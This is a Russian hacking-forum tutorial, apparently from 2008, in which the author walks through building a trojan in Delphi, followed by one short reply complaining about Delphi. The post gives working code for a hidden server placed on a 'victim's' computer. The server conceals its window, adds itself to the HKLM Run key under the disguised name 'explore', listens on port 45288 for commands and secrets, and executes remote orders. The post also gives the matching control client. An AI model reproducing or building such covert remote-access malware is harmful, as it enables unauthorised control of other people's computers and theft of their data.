0 Пользователей и 1 Гость просматривают эту тему.

*

Оффлайн NekitАвтор темы

  • *****
  • 147
  • +10/-1
  • аццтань, я душко!!!
[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая статья:), поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я взял троян ALB и считал себя суперхакером. Но вскоре я понял, что ХАКЕР - ЭТО НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И вот, через полгода я уже в состоянии написать собственный троян, этим мы и займемся.

[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та часть, которая будет на компьютере жертвы, она будет открывать соединение через сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента. Клиент - это, как ты догадался, прога, которая должна стоять у нас и управлять сервером.

[Порты и сокеты]
Существует мировой стандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня, ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и, естественно - возможностью получать и передавать данные. Когда говорят СОКЕТ, то часто не представляют, что это такое. Можно говорить о моделях, о реализациях и так далее. Но есть одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP используются адреса и порты. Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) . Второе - это номер порта в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт). В процессе обмена как правило используются два сокета - сокет отправителя и сокет получателя. Порт - это "гавань", на которую можно пристыковаться, как сказно выше, на одном IP - 65535 портов. Все они есть в системе, но активны только несколько. Троян на сервере открывает порт, а клиент к нему стыкуется. В это время идет обмен данными.

[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и TCPClient - они нам НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе придется вручную установить их, для этого иди в Component>>insall Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl

[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1. Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

В разделе программы var описываем переменные:
i:string;

Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:
Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь:)}
ServerSocket1.Open; {Запускаем сервер}

Теперь сделаем так, чтобы троян прописывался в автозагрузку: (в uses добавить registry, в var - registry:TRegistry;)

registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurrentversionrun',true); {подключ}
registry.Writestring('explore',Application.ExeName); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}

Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:
i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}

Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера. В раздел var добавляем переменную типа integer, обзовем ее 'p'.
В той же процедуре добавляем:

if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');

Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".

Не забудь сохранить проект.

С сервером разобрались, теперь клиент.

[Клиент]
Создаем новый проект.

//Клиент, который я использую довольно простой. Не вздумайте делать такой в заказном трояне, например!!!

В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

Дальше обработчики событий для клиента:

{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь...';

{OnRead}
i:=Client.ReceiveText;
sb.SimpleText:=i;

Теперь обработаем событие OnClick для кнопок:

{Exit}
form1.close;

{Connect}
client.Address:=strtoint(IP.text); //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';


На этом моя статья заканчивается. Сейчас я думаю, стоит ли мне писать и дальше статьи по кодингу, или это моя первая и последняя статья? Проголосуйте за статью, чтобы я это узнал.
Помог???Жми "СПАСИБО" !!!

*

Оффлайн MazaHaka

  • ******
  • 413
  • +96/-12
  • Пол: Мужской
Система удалённого управления на Delphi
« Ответ #1 : 19 Март 2008, 02:04:05 »
Делфи Это ужас в ней работать невозможно :(